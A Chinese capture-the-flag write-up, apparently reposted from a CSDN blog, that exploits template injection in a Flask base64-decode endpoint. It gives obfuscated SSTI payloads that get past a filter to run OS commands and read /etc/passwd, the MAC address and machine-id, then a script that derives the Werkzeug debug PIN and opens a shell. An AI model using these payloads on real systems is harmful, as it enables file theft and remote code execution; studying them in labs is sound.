本文介绍: 这道题不需要爆破也可以getshellssti都给你了但是学习记录一下pin的获取首先就是通过base加密后 当base64解密的时候 会造成ssfr这里过滤了 * 所以使用 {{7+7}} 实现然后我们开始看看源代码可以发现HINT 下存在pin所以是找pin这里我们开始在解密随便输入内容报错了 然后我们可以看源代码这里可以发现没啥内容 但是有waf首先通过读取读取一下/etc/passwd。
这道题不需要爆破也可以getshell
ssti都给你了
{{((lipsum.__globals__.__builtins__['__i''mport__']('so'[::-1])['p''open']("x63x61x74x20x2fx74x68x69x73x5fx69x73x5fx74x68x65x5fx66x6cx61x67x2ex74x78x74")).read())}}
但是学习记录一下pin的获取
首先就是通过base加密后 当base64解密的时候 会造成ssfr
这里过滤了 * 所以使用 {{7+7}} 实现
然后我们开始看看源代码
可以发现HINT 下存在pin
所以是找pin
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码
这里我们开始
在解密随便输入内容
报错了 然后我们可以看源代码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
这里可以发现没啥内容 但是有waf
首先通过读取读取一下/etc/passwd
用户
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
存在flask web 用户
绝对路径
网卡
/sys/class/net/eth0/address
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
56:89:65:ca:65:4a
然后需要处理
56:89:65:ca:65:4a
568965ca654a
然后变为十进制即可
95148118271306
机器码
{% for x in {}.__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
{%endif%}
{%endfor%}
1408f836b0ca514d796cbf8960e45fa1
然后生成pin
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'95148118271306',# str(uuid.getnode()), /sys/class/net/ens33/address
'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后就可以实现交互shell
os.popen('ls').read()
os.popen('ls /').read()
原文地址:https://blog.csdn.net/m0_64180167/article/details/134853273
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_51509.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。